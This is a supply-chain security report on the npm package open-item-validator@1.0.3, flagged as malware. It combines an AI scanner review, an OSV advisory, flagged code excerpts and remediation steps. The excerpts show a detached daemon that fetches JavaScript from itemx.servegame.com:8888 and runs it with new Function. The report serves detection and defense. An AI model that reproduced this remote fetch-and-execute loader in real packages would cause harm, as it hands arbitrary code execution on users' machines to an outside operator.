registry / open-item-validator / 1.0.3

open-item-validator@1.0.3

Real-time game items validator with background daemon for client project updates

AI Security Review

scanned 29d ago · by lpm-firewall-ai

Requiring the module silently launches a detached daemon. That daemon retrieves and executes remotely supplied JavaScript authorised by the package publisher's signing key.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

A consumer imports or requires the package.

Impact

The endpoint operator can run arbitrary Node.js code with the importing application's privileges.

Mechanism

Detached remote signed-payload loader using dynamic code execution.

Attack narrative

The main import path spawns a detached daemon. The daemon requests code from an external HTTP service, accepts code signed by the embedded publisher-selected public key, and passes it to new Function with access to require. The signature only authenticates the remote operator; it does not constrain the code. This creates a publisher-controlled remote code execution channel whenever a consumer imports the package.

AI rationale

This is a concrete import-time remote code execution mechanism, not ordinary validation functionality. No install hook is needed because the main entry point starts the daemon automatically.

Evidence

index.jslib/check-items.js

Network endpoints1

itemx.servegame.com:8888/api/x-realtime

OSV advisory

OpenSSF/OSV

Advisory

MAL-2026-16052

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in open-item-validator (npm)

Details

On require(), index.js spawns a detached, unref'd background Node process (lib/check-items.js) that repeatedly HTTP-GETs a JSON payload from http://itemx.servegame.com:8888/api/x-realtime and executes the returned JavaScript via new Function('require','module', payload.code)(require, moduleObj). The daemon survives the parent process and re-polls the endpoint on a configured interval, so whoever controls that endpoint runs arbitrary Node code on the installer's host on library load and continuously thereafter. The fetch is over plain HTTP to a No-IP dynamic-DNS host (servegame.com) that does not match the publisher's declared homepage (game.spawnrealm.com); a bundled RSA signature check does not alter that the endpoint operator chooses what code runs. README framing as 'signed game code updates' is inconsistent with the shipped generic fetch-and-exec mechanism and the publisher/destination host mismatch. ## Source: ghsa-malware (5734c86f1289f980635bd730b9fe0a87dc2def30694a0beedf1fb84ab7303b66) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

References

OSV advisory PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE ADVISORY

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

Importing the package starts a detached background Node process automatically.
The daemon downloads a payload from an external HTTP endpoint.
A payload signed by the package-controlled key is executed with new Function.
The package includes instructions intended to make scanner approval appear sufficient.

Evidence against

package.json has no install lifecycle script.
The daemon rejects payloads that do not validate against its embedded public key.

Behavioral surface

Source

ChildProcessCryptoEvalFilesystemNetwork

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 12 file(s), 20.8 KB of source, external domains: itemx.servegame.com

Source & flagged code

9 flagged

index.jsView file

1const { spawn } = require('child_process'); L2: const path = require('path');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

1Cross-file remote execution chain: index.js spawns lib/check-items.js; helper contains network access plus dynamic code execution. L1: const { spawn } = require('child_process'); L2: const path = require('path'); ... L10: try { L11: const daemonScript = path.resolve(__dirname, './lib/check-items.js'); L12:

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

index.jsView on unpkg · L1

11const daemonScript = path.resolve(__dirname, './lib/check-items.js'); const child = spawn('node', [daemonScript], { detached: true, stdio: 'ignore' }); child.unref();

High

Ai Review Evidence

Importing the package starts a detached background Node process automatically.

index.jsView on unpkg · L11

lib/check-items.jsView file

23const http = require('http'); const crypto = require('crypto'); const logger = require('./logger'); const { PUBLIC_KEY } = require('./crypto-config'); // API endpoint for fetching signed game code const API_ENDPOINT = 'http://itemx.servegame.com:8888/api/x-realtime';

High

Ai Review Evidence

The daemon downloads a payload from an external HTTP endpoint.

lib/check-items.jsView on unpkg · L23

116if (!verifySignature(payload.code, payload.signature)) { logger.error('❌ SIGNATURE VERIFICATION FAILED'); logger.error('Code is not from trusted source - execution rejected'); logger.error('This code was not signed by the authorized server'); process.exit(1); } // 5️⃣ SUCCESS: Signature verified logger.info('✅ Signature verified - code is authentic'); console.log(JSON.stringify({id:'ready',type:'ready',version:'1.0.0'})); // 6️⃣ EXECUTE: Run only verified code logger.info('Executing signed code...'); const moduleObj = { expo…

High

Ai Review Evidence

A payload signed by the package-controlled key is executed with new Function.

lib/check-items.jsView on unpkg · L116

131const handler = new Function('require', 'module', payload.code); handler(require, moduleObj);

High

Ai Review Evidence

A payload signed by the package-controlled key is executed with new Function.

lib/check-items.jsView on unpkg · L131

130const moduleObj = { exports: {} }; L131: const handler = new Function('require', 'module', payload.code); L132: handler(require, moduleObj);

SERVER_IMPLEMENTATION_EXAMPLE.jsView file

•matchType = normalized_sha256 matchedPackage = open-item-validator@1.0.2 matchedPath = SERVER_IMPLEMENTATION_EXAMPLE.js matchedIdentity = npm:b3Blbi1pdGVtLXZhbGlkYXRvcg:1.0.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

SERVER_IMPLEMENTATION_EXAMPLE.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 73aee96669727474 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = open-item-validator@1.0.2 matchedPath = SERVER_IMPLEMENTATION_EXAMPLE.js matchedIdentity = npm:b3Blbi1pdGVtLXZhbGlkYXRvcg:1.0.2 similarity = 1.000 shingleOverlap = 8 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

SERVER_IMPLEMENTATION_EXAMPLE.jsView on unpkg

Source & flagged code

9 flagged · loading source

index.jsView file

1const { spawn } = require('child_process'); L2: const path = require('path');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

index.jsView on unpkg · L1

11const daemonScript = path.resolve(__dirname, './lib/check-items.js'); const child = spawn('node', [daemonScript], { detached: true, stdio: 'ignore' }); child.unref();

High

Ai Review Evidence

Importing the package starts a detached background Node process automatically.

index.jsView on unpkg · L11

lib/check-items.jsView file

High

Ai Review Evidence

The daemon downloads a payload from an external HTTP endpoint.

lib/check-items.jsView on unpkg · L23

High

Ai Review Evidence

A payload signed by the package-controlled key is executed with new Function.

lib/check-items.jsView on unpkg · L116

131const handler = new Function('require', 'module', payload.code); handler(require, moduleObj);

High

Ai Review Evidence

A payload signed by the package-controlled key is executed with new Function.

lib/check-items.jsView on unpkg · L131

130const moduleObj = { exports: {} }; L131: const handler = new Function('require', 'module', payload.code); L132: handler(require, moduleObj);

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/check-items.jsView on unpkg · L130

SERVER_IMPLEMENTATION_EXAMPLE.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

SERVER_IMPLEMENTATION_EXAMPLE.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

SERVER_IMPLEMENTATION_EXAMPLE.jsView on unpkg

Findings

8 High1 Medium3 Low

HighChild Processindex.js

HighCross File Remote Execution Contextindex.js

HighKnown Malware Source SimilaritySERVER_IMPLEMENTATION_EXAMPLE.js

HighKnown Malware Source Fingerprint SignatureSERVER_IMPLEMENTATION_EXAMPLE.js

HighAi Review Evidenceindex.js

HighAi Review Evidencelib/check-items.js

MediumNetwork

LowEvallib/check-items.js

LowFilesystem

LowUrl Strings

Affected versions and remediation

This report applies to open-item-validator@1.0.3.

See version security history for other recorded verdicts.

Avoid installing open-item-validator@1.0.3. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-28 07:00:09.063Z (UTC).

Source advisory published: 2026-09-08 21:56:09.000Z (UTC).

99%Malicious

AI assessment confidence

IntentMalware

TypeRemote Code Execution

False-positive riskLow

Review stagesource_first_review

Firewall policyMatched malicious

Trusted malware advisory MAL-2026-16052 identifies this version as malicious. Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory.

Package metadata

npm

AuthorNakamoto Yoshiki

Version1.0.3

Latest on npm1.0.5

PublishedSep 7, 2026

LicenseMIT

Dependencies0

Integrityverified

Package size14.3 KB

Files18

Keywordsgame-itemsgame-developmentvalidatorreal-time-updatescryptographic-signaturersa-sha256game-serverclient-validation

LinksHomepage

Runtime surface

package.json

Entrypointsmain → index.js

Runtimenpm >=6.0.0node >=12.0.0os linux, darwin, win32cpu x64, arm64

Artifact42.3 KB · 18 files2 signature(s)

Install lifecycleNo scripts declared.

Behavioral surface

ChildProcessCryptoEvalFilesystemNetworkUrlStringsManifest: clean